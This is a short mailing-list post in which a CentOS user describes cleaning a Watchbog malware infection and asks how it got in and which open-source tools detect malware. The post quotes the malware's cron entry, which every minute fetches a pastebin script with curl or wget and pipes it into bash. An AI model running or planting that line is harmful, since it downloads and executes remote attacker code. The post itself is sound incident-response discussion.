[CentOS] CentOS 7.5 Linux box got infected with Watchbog malware

Hi,

Is there a way to find out how the CentOS 7.5 Linux box got infected with
malware?
Currently i am referring to
http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwareransomware.html
to carry out the below steps and is done manually.

1)rm -fr /tmp/*timesyncc.service*
2)crontab -e -u apigee
delete the cron entry
*/1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O-
https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1
3)ps aux | grep watchbog
kill -9 pidof watchbog

Any suggestions or recommendations to find out how CentOS 7.5 Linux box got
infected with Watchbog Malware. Is there any open source software which can
be installed on CentOS 7.5 Linux box to detect and prevent Malware?

Thanks in Advance.

Best Regards,

Kaushal